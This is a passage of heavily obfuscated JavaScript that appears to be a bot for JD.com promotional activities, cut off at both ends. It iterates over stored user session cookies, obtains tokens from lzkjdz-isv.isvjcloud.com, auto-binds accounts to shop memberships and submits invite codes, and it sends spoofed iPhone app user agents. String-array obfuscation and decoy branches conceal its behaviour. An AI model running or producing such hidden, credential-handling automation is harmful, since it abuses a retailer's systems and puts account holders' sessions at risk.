u','YmVhbg==','QURJRA==','c0JVclA=','ZkxNVVY=','VVVJRA==','V3dJakg=','YXV0aG9yTnVt','RUloVFU=','YXV0aG9yQ29kZQ==','Z0ZWdUE=','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hVblBhY2tpbmdBY3Rpdml0eS9hY3Rpdml0eS8=','Lz9hY3Rpdml0eUlkPQ==','JmZyaWVuZFV1aWQ9','JnNoYXJldXNlcmlkNG1pbmlwZz0=','c2VjcmV0UGlu','JnNob3BpZD0=','YWN0aXZpdHlTaG9wSWQ=','ZURCSEo=','c3R5RVI=','emZqaUE=','cEpPWm4=','LCDlpLHotKUhIOWOn+WboDog','Y2F0Y2g=','ZmluYWxseQ==','ZG9uZQ==','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','V0d3SXE=','YWlrWW0=','Mnw1fDl8M3w2fDEwfDd8MTF8NHwwfDF8OA==','dW5wYWNraW5nSW5mbw==','dW5QYWNraW5n','5Y675Yqp5YqbOiA=','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','NDAx','Z2V0TXlGcmllbmRJbmZv','YWN0aXZpdHlDb250ZW50','QWlSQXI=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','YUlEenM=','UllqZlM=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','dmhxdG8=','TFh6UG8=','b0xVYlQ=','YWN0aXZpdHlJZD0=','cHVmYmo=','c3BmR24=','QU1CWXI=','c09KU2o=','c3BsaXQ=','blFqSlA=','VFNHU3M=','SUZNUWY=','Jm15U2VsZlV1aWQ9','bXlTZWxmSWQ=','QnFIa0s=','T29QRXc=','V0ZpbFk=','V0VhQWw=','b3lkUm4=','dmVuZGVySWQ9','dmVuZGVySWQ=','JmNvZGU9','YWN0aXZpdHlUeXBl','JnBpbj0=','TFhVWHE=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPW51bGw=','WEpTcFI=','SUlQclY=','SFBRV1I=','Jm15U2VsZklkPQ==','aXZBd2k=','JmJ1eWVyTmljaz0=','TW9wZGM=','RWlxY04=','QURoZlM=','ZnJpZW5kVXVpZD0=','b0dxaWk=','dFdZb2c=','ZkVnTWg=','Y29kZQ==','ZGFzbm0=','T0dRYXc=','ZWpYZFY=','VFVpWms=','eGtkcm4=','UU5nQ2k=','YlpCZXQ=','eG1KaWc=','ZnJpZW5kVXVpZA==','Y29tbW9uVG9vbHMvbWVtYmVyV3JpdGVQZXJzb24=','Y29sbGVjdGlvbg==','5ouG5YyF5oiQ5Yqf','TEpBeE0=','RXR1c2I=','TmlLVkI=','cG9zdA==','bGFwakU=','VHhxc0k=','VmlialM=','R0ltc3g=','ZHhSYXI=','ZmZpWVc=','dHhBTWg=','amRBY3Rpdml0eUlk','ZGF0YQ==','c2hvcElk','RkVSWU4=','d3Vjdm8=','dG1OaXU=','ZHVmZmE=','SGNYaXk=','TU9rWEI=','dmhwVVg=','ZXJyb3JNZXNzYWdl','TURJV1g=','TEpFWW8=','Zk5PaXk=','eE93R2Q=','c3RyaW5naWZ5','V3l0aUo=','bHpramR6LWlzdi5pc3ZqY2xvdWQuY29t','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb21t','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20v','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hVblBhY2tpbmdBY3Rpdml0eS8=','UndKT1E=','QkRTZng=','cXJ5SWU=','aU1Ka1g=','RlVZTHQ=','ZEtTaU8=','TnVzVWk=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','dUJVTHE=','aGVhZGVycw==','U2V0LUNvb2tpZQ==','WUFDckM=','YmJlelI=','RE1tbXc=','bHJmYkE=','c2V0LWNvb2tpZQ==','aGdSaGo=','TWJDQUQ=','aU9adGE=','WnZzalc=','amRJRVk=','UVBWdnY=','eXFiQnQ=','Z0RBWkY=','dkR0SUU=','dHlzcVU=','bEJ5dW4=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vY3VzdG9tZXIvZ2V0TXlQaW5n','T1Z4bnY=','VVZWTnU=','dnpGQ2Y=','dUtjd2o=','eXJUdmI=','WmZ3R3g=','RndZeHE=','amRhcHA7aVBob25lOzEwLjIuMjs7O00vNS4wO2FwcEJ1aWxkLzE2Nzg2MjtqZFN1cHBvcnREYXJrTW9kZS8wO2VmLzE7ZXAvJTdCJTIyY2lwaGVydHlwZSUyMiUzQTUlMkMlMjJjaXBoZXIlMjIlM0ElN0IlMjJ1ZCUyMiUzQSUyMkVOcnVZSlZyWXdIdEROU25ESkczQ3RUdEVOUzNadFl5WkpDbVl0VnZETkxyWk5ac1lKT3pZRyUzRCUzRCUyMiUyQyUyMnN2JTIyJTNBJTIyQ0pHa0NtJTNEJTNEJTIyJTJDJTIyaWFkJTIyJTNBJTIyJTIyJTdEJTJDJTIydHMlMjIlM0ExNjM4NzE5NDM4JTJDJTIyaGRpZCUyMiUzQSUyMkpNOUYxeXdVUHdmbHZNSXBZUG9rMHR0NWs5a1c0QXJKRVUzbGZMaHhCcXclM0QlMjIlMkMlMjJ2ZXJzaW9uJTIyJTNBJTIyMS4wLjMlMjIlMkMlMjJhcHBuYW1lJTIyJTNBJTIyY29tLjM2MGJ1eS5qZG1vYmlsZSUyMiUyQyUyMnJpZHglMjIlM0EtMSU3RDtNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMTs=','dlp3eVc=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','Q1ZWaHc=','b1RibUk=','Y2FSU1o=','eVNFSm4=','ZGJMV1k=','TGJkb20=','QUhmR2k=','dnhYTWE=','TWl1WmE=','enJaekM=','cW9XYXE=','b0dOTEY=','VGlHZ0M=','T3JtVEo=','bENmQUk=','VVRiT0I=','Z3FqbEg=','dUFjZGs=','T0pxeUM=','dGlxdkg=','bm5nREw=','Y0hzRWo=','bEZLWGY=','ZVRCQlQ=','UHBKemg=','TFF5QWY=','UGlEaUc=','YkNsWW0=','anhPb1Q=','eWRnYUI=','d1pCcWE=','aFhQaUQ=','U1VYeHg=','eHZTWWM=','dnB3U3M=','QWNqaGM=','VmpSWkc=','UmxwRko=','aXNOb2Rl','a2ZGQUI=','aFZhSnU=','amdaVlU=','ZXpreVM=','Qm9JSmc=','TFBnVHo=','ampSclM=','a25wQlI=','akNDR0M=','d2N5ZWc=','aUNCRGI=','Rnh4amk=','SERzaEs=','RXBUaFU=','5L2g5aW977ya','bmlja25hbWU=','cGlu','O0FVVEhfQ19VU0VSPQ==','dG9TdHJpbmc=','YmVEZ2M=','emh1RmM=','YkVKaFk=','bG9nRXJy','ZHhWbmc=','UWR4eXQ=','cUxqbno=','MTAwMQ==','dXNlckluZm8=','cGlQT2E=','cUFmSlg=','ZGF2aGE=','SmtZSFY=','c2dWTlY=','QmlpVWU=','dnVCZWk=','TXN6bmk=','anNnZUI=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','V2ZmdUY=','b1VkcGc=','TUxLTVA=','TFJuSU4=','YUZ1dFg=','THhaZ2g=','elNQbm0=','UmFNTWk=','T1FseGs=','anRqa0I=','cFB4VVU=','eWRvSng=','T01kSUI=','Yk9iTWc=','QXFVWVk=','cWRlTnA=','eU9BZVA=','aFNXTWo=','aWhQc0M=','UWdVcnk=','Z2V0','ZW52','SkRfVVNFUl9BR0VOVA==','SEZlcmc=','UUdSdkw=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','aUxGWlo=','bkN5S0g=','eGhHcHQ=','ZkpkU0o=','TWFkR0s=','dFV0VFQ=','enFMcmk=','ckJtUVY=','ZmZsRWs=','VVBhWmU=','aVFJYXY=','dWF2Zlk=','bHFpb2s=','eHhOcFc=','dXJCcHE=','U2VwVFU=','WHJrcmU=','ZGlyZE8=','ZE9keVE=','YURwQUk=','bU5ZaE4=','dHFyVHA=','cmV0Y29kZQ==','UFVMSmM=','ckFwdGI=','aGFzT3duUHJvcGVydHk=','dGh3UGI=','YmFzZUluZm8=','S09RT1A=','RVZxT1E=','YVJuYUc=','WnpPdWQ=','TUl5Zm0=','aGdSWlE=','WWRhTXM=','SnNWRFk=','YXBpLm0uamQuY29t','Ki8q','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','ZUdoc1U=','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','cFV6ZUE=','S056eXc=','bUZCVEU=','UG9Tc3Y=','jsjTiaWGmiNUEF.cWxom.vqr6eRAC=='];if(function(_0x4033df,_0x61878a,_0xfaa999){function _0x29533e(_0x667b1a,_0x46a9b4,_0x47c8e1,_0x2cf304,_0x9f347e,_0x1a0494){_0x46a9b4=_0x46a9b4>>0x8,_0x9f347e='po';var _0x374017='shift',_0x14f08c='push',_0x1a0494='‮';if(_0x46a9b4<_0x667b1a){while(--_0x667b1a){_0x2cf304=_0x4033df[_0x374017]();if(_0x46a9b4===_0x667b1a&&_0x1a0494==='‮'&&_0x1a0494['length']===0x1){_0x46a9b4=_0x2cf304,_0x47c8e1=_0x4033df[_0x9f347e+'p']();}else if(_0x46a9b4&&_0x47c8e1['replace'](/[TWGNUEFWxqreRAC=]/g,'')===_0x46a9b4){_0x4033df[_0x14f08c](_0x2cf304);}}_0x4033df[_0x14f08c](_0x4033df[_0x374017]());}return 0xf6df5;};return _0x29533e(++_0x61878a,_0xfaa999)>>_0x61878a^_0xfaa999;}(_0x34d5,0xa5,0xa500),_0x34d5){_0xod2_=_0x34d5['length']^0xa5;};function _0x47fb(_0x41b5ff,_0xff9ae8){_0x41b5ff=~~'0x'['concat'](_0x41b5ff['slice'](0x1));var _0x2ee6cc=_0x34d5[_0x41b5ff];if(_0x47fb['juZsgg']===undefined&&'‮'['length']===0x1){(function(){var _0x2d4bce=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x2b8c55='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2d4bce['atob']||(_0x2d4bce['atob']=function(_0x1fd3c5){var _0x539f0d=String(_0x1fd3c5)['replace'](/=+$/,'');for(var _0x28f57b=0x0,_0x4cf48b,_0x2925b2,_0x2e726d=0x0,_0x58dd02='';_0x2925b2=_0x539f0d['charAt'](_0x2e726d++);~_0x2925b2&&(_0x4cf48b=_0x28f57b%0x4?_0x4cf48b*0x40+_0x2925b2:_0x2925b2,_0x28f57b++%0x4)?_0x58dd02+=String['fromCharCode'](0xff&_0x4cf48b>>(-0x2*_0x28f57b&0x6)):0x0){_0x2925b2=_0x2b8c55['indexOf'](_0x2925b2);}return _0x58dd02;});}());_0x47fb['GVPJRG']=function(_0x9e5c96){var _0x4e29fc=atob(_0x9e5c96);var _0x58a5e2=[];for(var _0x1ffbbf=0x0,_0x18bf2d=_0x4e29fc['length'];_0x1ffbbf<_0x18bf2d;_0x1ffbbf++){_0x58a5e2+='%'+('00'+_0x4e29fc['charCodeAt'](_0x1ffbbf)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x58a5e2);};_0x47fb['NsLBzy']={};_0x47fb['juZsgg']=!![];}var _0x26844b=_0x47fb['NsLBzy'][_0x41b5ff];if(_0x26844b===undefined){_0x2ee6cc=_0x47fb['GVPJRG'](_0x2ee6cc);_0x47fb['NsLBzy'][_0x41b5ff]=_0x2ee6cc;}else{_0x2ee6cc=_0x26844b;}return _0x2ee6cc;};!(async()=>{var _0x558151={'WMxbl':function(_0x1b8887,_0x27ed81){return _0x1b8887!==_0x27ed81;},'PGbAd':_0x47fb('‫0'),'RFiaE':_0x47fb('‫1'),'yEXzo':_0x47fb('‮2'),'ZgDbB':function(_0x55d631,_0x585fb6){return _0x55d631<_0x585fb6;},'MVUyr':function(_0x4be21a,_0x464baa){return _0x4be21a(_0x464baa);},'nDrEB':function(_0x3aa779,_0x3b717e){return _0x3aa779+_0x3b717e;},'mwjMH':function(_0xfc5e4a){return _0xfc5e4a();},'sBUrP':function(_0x5e6ed1,_0x28f2a0,_0x1a53ab){return _0x5e6ed1(_0x28f2a0,_0x1a53ab);},'fLMUV':_0x47fb('‫3'),'WwIjH':_0x47fb('‫4'),'EIhTU':function(_0x44a5cb,_0x12fa28,_0x4e653c){return _0x44a5cb(_0x12fa28,_0x4e653c);},'gFVuA':function(_0x411193,_0x527147,_0x77636a){return _0x411193(_0x527147,_0x77636a);},'eDBHJ':function(_0x3c81c1,_0x27b87b){return _0x3c81c1<_0x27b87b;},'styER':function(_0x3ea2c5,_0x435065){return _0x3ea2c5===_0x435065;},'zfjiA':_0x47fb('‫5'),'pJOZn':_0x47fb('‫6')};if(!cookiesArr[0x0]){if(_0x558151[_0x47fb('‫7')](_0x558151[_0x47fb('‮8')],_0x558151[_0x47fb('‮8')])){res=JSON[_0x47fb('‮9')](data);if(res[_0x47fb('‮a')]){if(res[_0x47fb('‮b')][_0x47fb('‮c')]){$[_0x47fb('‫d')]=res[_0x47fb('‮b')][_0x47fb('‮c')][0x0][_0x47fb('‮e')][_0x47fb('‫f')];}}}else{$[_0x47fb('‮10')]($[_0x47fb('‮11')],_0x558151[_0x47fb('‮12')],_0x558151[_0x47fb('‮13')],{'open-url':_0x558151[_0x47fb('‮13')]});return;}}for(let _0x186ba8=0x0;_0x558151[_0x47fb('‮14')](_0x186ba8,cookiesArr[_0x47fb('‫15')]);_0x186ba8++){if(cookiesArr[_0x186ba8]){cookie=cookiesArr[_0x186ba8];originCookie=cookiesArr[_0x186ba8];newCookie='';$[_0x47fb('‮16')]=_0x558151[_0x47fb('‫17')](decodeURIComponent,cookie[_0x47fb('‮18')](/pt_pin=(.+?);/)&&cookie[_0x47fb('‮18')](/pt_pin=(.+?);/)[0x1]);$[_0x47fb('‮19')]=_0x558151[_0x47fb('‫1a')](_0x186ba8,0x1);$[_0x47fb('‫1b')]=!![];$[_0x47fb('‫1c')]='';await _0x558151[_0x47fb('‮1d')](checkCookie);console[_0x47fb('‮1e')](_0x47fb('‫1f')+$[_0x47fb('‮19')]+'】'+($[_0x47fb('‫1c')]||$[_0x47fb('‮16')])+_0x47fb('‮20'));if(!$[_0x47fb('‫1b')]){$[_0x47fb('‮10')]($[_0x47fb('‮11')],_0x47fb('‫21'),_0x47fb('‮22')+$[_0x47fb('‮19')]+'\x20'+($[_0x47fb('‫1c')]||$[_0x47fb('‮16')])+_0x47fb('‫23'),{'open-url':_0x558151[_0x47fb('‮13')]});continue;}$[_0x47fb('‮24')]=0x0;$[_0x47fb('‮25')]=_0x558151[_0x47fb('‮26')](getUUID,_0x558151[_0x47fb('‮27')],0x1);$[_0x47fb('‫28')]=_0x558151[_0x47fb('‫17')](getUUID,_0x558151[_0x47fb('‫29')]);$[_0x47fb('‮2a')]=''+_0x558151[_0x47fb('‮2b')](random,0xf4240,0x98967f);authorCodeList=[''];$[_0x47fb('‮2c')]=ownCode?ownCode:authorCodeList[_0x558151[_0x47fb('‮2d')](random,0x0,authorCodeList[_0x47fb('‫15')])];$[_0x47fb('‫f')]=wxUnPackingActivity;$[_0x47fb('‫2e')]=_0x47fb('‫2f')+$[_0x47fb('‮2a')]+_0x47fb('‮30')+$[_0x47fb('‫f')]+_0x47fb('‫31')+_0x558151[_0x47fb('‫17')](encodeURIComponent,$[_0x47fb('‮2c')])+_0x47fb('‮32')+$[_0x47fb('‮33')]+_0x47fb('‮34')+$[_0x47fb('‮35')];if(_0x558151[_0x47fb('‫36')](unPackingScc,0x64)){if(_0x558151[_0x47fb('‫37')](_0x558151[_0x47fb('‫38')],_0x558151[_0x47fb('‫38')])){console[_0x47fb('‮1e')](_0x558151[_0x47fb('‫1a')](_0x558151[_0x47fb('‫39')],unPackingScc));await _0x558151[_0x47fb('‮1d')](wxUnPacking);}else{$[_0x47fb('‮1e')]('','❌\x20'+$[_0x47fb('‮11')]+_0x47fb('‫3a')+e+'!','');}}else{console[_0x47fb('‮1e')]('成功');break;}}}})()[_0x47fb('‫3b')](_0xe04b30=>{$[_0x47fb('‮1e')]('','❌\x20'+$[_0x47fb('‮11')]+_0x47fb('‫3a')+_0xe04b30+'!','');})[_0x47fb('‫3c')](()=>{$[_0x47fb('‫3d')]();});async function wxUnPacking(){var _0x44ac44={'oGqii':function(_0x2a58fb,_0x54a6da){return _0x2a58fb===_0x54a6da;},'dasnm':_0x47fb('‮3e'),'vhqto':function(_0x2695e8){return _0x2695e8();},'LXzPo':function(_0x314d67,_0x42254c,_0x16e449,_0x5d9cc8){return _0x314d67(_0x42254c,_0x16e449,_0x5d9cc8);},'oLUbT':_0x47fb('‮3f'),'pufbj':function(_0x412fb7,_0x590e4f){return _0x412fb7!==_0x590e4f;},'spfGn':_0x47fb('‫40'),'AMBYr':_0x47fb('‫41'),'sOJSj':_0x47fb('‫42'),'nQjJP':function(_0x52b2a8,_0x42f2a8,_0x458ed9,_0xf91184){return _0x52b2a8(_0x42f2a8,_0x458ed9,_0xf91184);},'TSGSs':_0x47fb('‮43'),'IFMQf':function(_0x20f44d,_0x3dce93){return _0x20f44d(_0x3dce93);},'BqHkK':_0x47fb('‫44'),'OoPEw':function(_0x8e408a,_0x5ce523){return _0x8e408a+_0x5ce523;},'WFilY':_0x47fb('‮45'),'WEaAl':function(_0x405af5,_0x5418f1,_0x3beee4,_0x260800){return _0x405af5(_0x5418f1,_0x3beee4,_0x260800);},'oydRn':_0x47fb('‫46'),'LXUXq':function(_0x307e88,_0x3dcb10){return _0x307e88(_0x3dcb10);},'XJSpR':function(_0x56e472,_0x4b5e6f,_0x51c30c){return _0x56e472(_0x4b5e6f,_0x51c30c);},'IIPrV':_0x47fb('‮47'),'HPQWR':_0x47fb('‫48'),'ivAwi':_0x47fb('‫49'),'Mopdc':function(_0x34e912,_0x9d334){return _0x34e912(_0x9d334);},'EiqcN':function(_0x1eeac1,_0x435106,_0x5053b9){return _0x1eeac1(_0x435106,_0x5053b9);},'ADhfS':function(_0x557ce7,_0x355e43,_0x2d79ea,_0x4a2779){return _0x557ce7(_0x355e43,_0x2d79ea,_0x4a2779);},'tWYog':_0x47fb('‮4a'),'fEgMh':_0x47fb('‮4b'),'OGQaw':function(_0x2f0e66,_0x4e9e62){return _0x2f0e66===_0x4e9e62;},'ejXdV':_0x47fb('‫4c'),'TUiZk':_0x47fb('‫4d'),'xkdrn':_0x47fb('‮4e')};$[_0x47fb('‮4f')]=null;$[_0x47fb('‮33')]=null;$[_0x47fb('‫d')]=null;await _0x44ac44[_0x47fb('‫50')](getFirstLZCK);await _0x44ac44[_0x47fb('‫50')](getToken);await _0x44ac44[_0x47fb('‫51')](task,_0x44ac44[_0x47fb('‫52')],_0x47fb('‫53')+$[_0x47fb('‫f')],0x1);if($[_0x47fb('‮4f')]){await _0x44ac44[_0x47fb('‫50')](getMyPing);if($[_0x47fb('‮33')]){if(_0x44ac44[_0x47fb('‫54')](_0x44ac44[_0x47fb('‮55')],_0x44ac44[_0x47fb('‫56')])){var _0x52cbc6=_0x44ac44[_0x47fb('‮57')][_0x47fb('‮58')]('|'),_0x427fdd=0x0;while(!![]){switch(_0x52cbc6[_0x427fdd++]){case'0':await _0x44ac44[_0x47fb('‮59')](task,_0x44ac44[_0x47fb('‮5a')],_0x47fb('‫53')+$[_0x47fb('‫f')]+_0x47fb('‫31')+_0x44ac44[_0x47fb('‮5b')](encodeURIComponent,$[_0x47fb('‮2c')])+_0x47fb('‮5c')+_0x44ac44[_0x47fb('‮5b')](encodeURIComponent,$[_0x47fb('‫5d')]),0x0);continue;case'1':console[_0x47fb('‮1e')](_0x44ac44[_0x47fb('‫5e')]);continue;case'2':console[_0x47fb('‮1e')](_0x44ac44[_0x47fb('‫5f')](_0x44ac44[_0x47fb('‫60')],$[_0x47fb('‮2c')]));continue;case'3':console[_0x47fb('‮1e')]('开卡');continue;case'4':console[_0x47fb('‮1e')](_0x44ac44[_0x47fb('‮5a')]);continue;case'5':await _0x44ac44[_0x47fb('‫61')](task,_0x44ac44[_0x47fb('‮62')],_0x47fb('‫63')+$[_0x47fb('‮64')]+_0x47fb('‫65')+$[_0x47fb('‫66')]+_0x47fb('‫67')+_0x44ac44[_0x47fb('‫68')](encodeURIComponent,$[_0x47fb('‮33')])+_0x47fb('‫69')+$[_0x47fb('‫f')]+_0x47fb('‫6a')+$[_0x47fb('‫2e')]+_0x47fb('‮6b'),0x1);continue;case'6':await _0x44ac44[_0x47fb('‫6c')](getShopOpenCardInfo,{'venderId':$[_0x47fb('‮64')],'channel':_0x44ac44[_0x47fb('‮6d')]},$[_0x47fb('‮64')]);continue;case'7':console[_0x47fb('‮1e')](_0x44ac44[_0x47fb('‫6e')]);continue;case'8':await _0x44ac44[_0x47fb('‫6c')](task,_0x44ac44[_0x47fb('‫5e')],_0x47fb('‫53')+$[_0x47fb('‫f')]+_0x47fb('‫31')+_0x44ac44[_0x47fb('‫68')](encodeURIComponent,$[_0x47fb('‮2c')])+_0x47fb('‫6f')+_0x44ac44[_0x47fb('‫68')](encodeURIComponent,$[_0x47fb('‫5d')]));continue;case'9':await _0x44ac44[_0x47fb('‫61')](task,_0x44ac44[_0x47fb('‫70')],_0x47fb('‫53')+$[_0x47fb('‫f')]+_0x47fb('‮71')+_0x44ac44[_0x47fb('‫68')](encodeURIComponent,$[_0x47fb('‮33')])+_0x47fb('‫31')+_0x44ac44[_0x47fb('‮72')](encodeURIComponent,$[_0x47fb('‮2c')]),0x0);continue;case'10':await _0x44ac44[_0x47fb('‫73')](bindWithVender,{'venderId':$[_0x47fb('‮64')],'bindByVerifyCodeFlag':0x1,'registerExtend':{},'writeChildFlag':0x0,'activityId':$[_0x47fb('‫d')],'channel':0x25e7},$[_0x47fb('‮64')]);continue;case'11':await _0x44ac44[_0x47fb('‮74')](task,_0x44ac44[_0x47fb('‫6e')],_0x47fb('‮75')+_0x44ac44[_0x47fb('‮72')](encodeURIComponent,$[_0x47fb('‮2c')]),0x0);continue;}break;}}else{cookie=''+cookie+ck[_0x47fb('‮58')](';')[0x0]+';';}}else{if(_0x44ac44[_0x47fb('‮76')](_0x44ac44[_0x47fb('‫77')],_0x44ac44[_0x47fb('‫77')])){$[_0x47fb('‮1e')](_0x44ac44[_0x47fb('‫78')]);}else{if(data){data=JSON[_0x47fb('‮9')](data);if(_0x44ac44[_0x47fb('‮76')](data[_0x47fb('‮79')],'0')){$[_0x47fb('‮4f')]=data[_0x47fb('‮4f')];}}else{$[_0x47fb('‮1e')](_0x44ac44[_0x47fb('‮7a')]);}}}}else{if(_0x44ac44[_0x47fb('‮7b')](_0x44ac44[_0x47fb('‫7c')],_0x44ac44[_0x47fb('‫7d')])){$[_0x47fb('‮1e')](error);}else{$[_0x47fb('‮1e')](_0x44ac44[_0x47fb('‮7e')]);}}}function task(_0x3ee74b,_0x516817,_0x1ba0aa=0x0){var _0x418aa1={'TxqsI':function(_0x57a854,_0x5b1424){return _0x57a854===_0x5b1424;},'VibjS':_0x47fb('‮7f'),'GImsx':_0x47fb('‮80'),'dxRar':function(_0x5adf26,_0x31954a){return _0x5adf26!==_0x31954a;},'ffiYW':_0x47fb('‮81'),'txAMh':_0x47fb('‮3f'),'FERYN':_0x47fb('‫49'),'tmNiu':_0x47fb('‫82'),'duffa':_0x47fb('‮43'),'HcXiy':_0x47fb('‫83'),'MOkXB':_0x47fb('‫84'),'vhpUX':_0x47fb('‫44'),'MDIWX':_0x47fb('‫85'),'LJEYo':function(_0x132296,_0x173902){return _0x132296!==_0x173902;},'fNOiy':_0x47fb('‮86'),'WytiJ':_0x47fb('‮87'),'NiKVB':function(_0x46d44b){return _0x46d44b();},'lapjE':function(_0x1a4681,_0x3af66a,_0x1ffb71,_0x25511c){return _0x1a4681(_0x3af66a,_0x1ffb71,_0x25511c);}};return new Promise(_0x44b588=>{var _0x111599={'xOwGd':function(_0x39eb58){return _0x418aa1[_0x47fb('‫88')](_0x39eb58);}};$[_0x47fb('‫89')](_0x418aa1[_0x47fb('‮8a')](taskUrl,_0x3ee74b,_0x516817,_0x1ba0aa),async(_0x5bfffc,_0x5c061d,_0x855ee1)=>{if(_0x418aa1[_0x47fb('‫8b')](_0x418aa1[_0x47fb('‮8c')],_0x418aa1[_0x47fb('‮8d')])){cookie=''+cookie+sk[_0x47fb('‮58')](';')[0x0]+';';}else{try{if(_0x5bfffc){$[_0x47fb('‮1e')](_0x5bfffc);}else{if(_0x418aa1[_0x47fb('‮8e')](_0x418aa1[_0x47fb('‫8f')],_0x418aa1[_0x47fb('‫8f')])){unPackingScc+=0x1;}else{if(_0x855ee1){_0x855ee1=JSON[_0x47fb('‮9')](_0x855ee1);if(_0x855ee1[_0x47fb('‮b')]){switch(_0x3ee74b){case _0x418aa1[_0x47fb('‫90')]:$[_0x47fb('‮91')]=_0x855ee1[_0x47fb('‮92')][_0x47fb('‮91')];$[_0x47fb('‮64')]=_0x855ee1[_0x47fb('‮92')][_0x47fb('‮64')];$[_0x47fb('‫93')]=_0x855ee1[_0x47fb('‮92')][_0x47fb('‫93')];$[_0x47fb('‮35')]=$[_0x47fb('‮64')];$[_0x47fb('‫66')]=_0x855ee1[_0x47fb('‮92')][_0x47fb('‫66')];break;case _0x418aa1[_0x47fb('‮94')]:$[_0x47fb('‫5d')]=_0x855ee1[_0x47fb('‮92')][_0x47fb('‫95')][_0x47fb('‫5d')];if(_0x418aa1[_0x47fb('‫8b')]($[_0x47fb('‮19')],0x1)){ownCode=_0x855ee1[_0x47fb('‮92')][_0x47fb('‫95')][_0x47fb('‫5d')];console[_0x47fb('‮1e')](ownCode);}break;case _0x418aa1[_0x47fb('‫96')]:console[_0x47fb('‮1e')](_0x855ee1[_0x47fb('‮92')]);break;case _0x418aa1[_0x47fb('‫97')]:console[_0x47fb('‮1e')](_0x855ee1[_0x47fb('‮b')]);break;case _0x418aa1[_0x47fb('‮98')]:console[_0x47fb('‮1e')](_0x855ee1);break;case _0x418aa1[_0x47fb('‫99')]:console[_0x47fb('‮1e')](_0x855ee1);break;case _0x418aa1[_0x47fb('‮9a')]:console[_0x47fb('‮1e')](_0x855ee1);if(_0x418aa1[_0x47fb('‫8b')](_0x855ee1[_0x47fb('‫9b')],_0x418aa1[_0x47fb('‫9c')])){if(_0x418aa1[_0x47fb('‮9d')](_0x418aa1[_0x47fb('‫9e')],_0x418aa1[_0x47fb('‫9e')])){_0x111599[_0x47fb('‮9f')](_0x44b588);}else{unPackingScc+=0x1;}}break;default:$[_0x47fb('‮1e')](JSON[_0x47fb('‮a0')](_0x855ee1));break;}}else{$[_0x47fb('‮1e')](JSON[_0x47fb('‮a0')](_0x855ee1));}}else{}}}}catch(_0xa437c7){if(_0x418aa1[_0x47fb('‮9d')](_0x418aa1[_0x47fb('‮a1')],_0x418aa1[_0x47fb('‮a1')])){console[_0x47fb('‮1e')](_0xa437c7);}else{$[_0x47fb('‮1e')](_0xa437c7);}}finally{_0x418aa1[_0x47fb('‫88')](_0x44b588);}}});});}function taskUrl(_0x14a546,_0x4dc117,_0x587934){var 